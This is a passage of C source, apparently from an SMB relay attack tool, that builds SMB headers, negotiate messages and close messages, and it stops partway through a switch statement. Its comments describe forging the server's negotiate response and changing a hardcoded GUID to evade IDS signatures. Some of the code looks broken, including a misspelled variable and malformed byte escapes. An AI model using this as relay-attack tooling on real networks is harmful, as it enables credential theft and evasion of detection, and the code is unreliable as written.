NewSmbPacket = (smheader*)malloc(sizeof(smheader));
memset((char*)NewSmbPacket, '\0', sizeof(smheader));
NewSmbPacket->SmbMessageType = 0x0000;
//0xFF for SMBv1 and 0xFE for SMBv2 (TODO)
memcpy((char*)NewSmbPacket->ProtocolHeader, "\xff\x53\x4d\x42", 4); //"?SMB"
NewSmbPacket->SmbCommand = SmbCommand;
NewSmbPacket->flags = 0x18;
NewSmbPacket->flags2 = 0xc803; //LOWEST SMB FLAGS with Unicode
//NewSmbPacket->flags2=0x4803;
// NewSmbPacket->flags2=0xc802;
NewSmbPacket->ProccessID = 0xfeff;
//NewSmbPacket->ProccessID=6666;
/*
if (SmbCommand==SESSIONSETUPANDX) { //Init UserID value
if (PreviousSmbMessage!=NULL) {
UserID=PreviousSmbMessage->UserID;
printf("estableciendo UserID: %i\n",UserID);
}
}
*/
NewSmbPacket->UserID = UserID;
NewSmbPacket->multipleID = MultipleID;
MultipleID += 64;
if (DataSize > sizeof(NewSmbPacket->buffer)) {
NewSmbPacket = (smheader*)realloc(NewSmbPacket, sizeof(smheader) + DataSize);
}
switch (SmbCommand)
{
case NEGOTIATEPROTOCOLREQUEST:
UserID = 0;
MultpleID = 0;
if (SubCommand == CONTINUERESPONSE) {
/*
Generates an SMB Negotiate Protocol Response.
This packet is needed when acting as an SMB Server.
NOTE: If the original reponse from the client is sent, the server could force logoff due to kerberos authentication failure.
so we need to create our own packet with an unknown Computer GUID
*/
NewSmbPacket->flags = 0x98;
NegotiateProtocolResponse* NegotiateProtocolResponseMessage;
NegotiateProtocolResponseMessage = (NegotiateProtocolResponse*)malloc(sizeof(NegotiateProtocolResponse));
memset((char*)NegotiateProtocolResponseMessage, '\0', sizeof(NegotiateProtocolResponse));
NewSmbPacket->SmbMessageLength = SREV(85);
NegotiateProtocolResponseMessage->WordCount = 17;
NegotiateProtocolResponseMessage->DialecIndex = 5; //grater than lanman2.1
NegotiateProtocolResponseMessage->SecurityMode = 0x03; // User Security Mode + Password encrypted
NegotiateProtocolResponseMessage->MaxMxpCount = 50;
NegotiateProtocolResponseMessage->MaxVcs = 1;
NegotiateProtocolResponseMessage->MaxBufferSize = 16644;
NegotiateProtocolResponseMessage->MaxRawBuffer = 65536;
NegotiateProtocolResponseMessage->SessionKey = 0x00000000;
NegotiateProtocolResponseMessage->Capabilities = 0x8001f3fd;
//FIX and set a valid ServerTime.
//NegotiateProtocolResponseMessage->ServerTime=0;
NegotiateProtocolResponseMessage->ServerTimeZone = 0x0000;
NegotiateProtocolResponseMessage->KeyLength = 0;
NegotiateProtocolResponseMessage->ByteCount = 16;
//TODO: Generate Random SMBRELAY Server GUID.
//change it to avoid IDS Signatures :)
memcpy(NegotiateProtocolResponseMessage->ServerGuid, "\xef\xea\x7f\x5b\xe2\x0a\x4e\x4d\xad\xee\xa6\\x29\x15\\xab", 16);
memcpy(NewSmbPacket->buffer, (char*)NegotiateProtocolResponseMessage, sizeof(NegotiateProtocolResponse));
free(NegotiateProtocolResponseMessage);
}
else {/* Generates an SMB Negotiate Protocol Response. This packet is needed when acting as an SMB Client. */
NegotiateProtocolRequest* NegotiateProtocolRequestMessage;
NegotiateProtocolRequestMessage = (NegotiateProtocolRequest*)malloc(sizeof(NegotiateProtocolRequest));
memset((char*)NegotiateProtocolRequestMessage, '\0', sizeof(NegotiateProtocolRequest));
NewSmbPacket->SmbMessageLength = SREV(35 + DataSize);
if (DataSize > (sizeof(NewSmbPacket->buffer) - sizeof(NegotiateProtocolRequest) + sizeof(DIALECT*)))
{
NewSmbPacket = (smheader*)realloc(NewSmbPacket, sizeof(smheader) - sizeof(NewSmbPacket->buffer) + sizeof(NegotiateProtocolRequest) + DataSize);
}
NegotiateProtocolRequestMessage->WordCount = 0;
NegotiateProtocolRequestMessage->ByteCount = DataSize;
memcpy(NewSmbPacket->buffer, (char*)NegotiateProtocolRequestMessage, sizeof(NegotiateProtocolRequest) - sizeof(DIALECT*));
memcpy(NewSmbPacket->buffer + sizeof(NegotiateProtocolRequest) - sizeof(DIALECT*), data, DataSize);
free(NegotiateProtocolRequestMessage);
}
break;
case SMBCLOSE:
CloseMessage = (CLOSE*)malloc(sizeof(CLOSE));
memset((char*)CloseMessage, '\0', sizeof(CLOSE));
NewSmbPacket->SmbMessageLength = SREV(sizeof(smheader) - sizeof(NewSmbPacket->buffer) + sizeof(CLOSE) - 4);
CloseMessage->ByteCount = 0;
CloseMessage->WordCount = 3;
CloseMessage->LastWrite = 0xFFFFFFFF;
memcpy((char*)&CloseMessage->FID, (char*)data, 2);
memcpy(NewSmbPacket->buffer, (char*)CloseMessage, sizeof(CLOSE));
free(CloseMessage);
break;
case SESSIONSETUPANDX: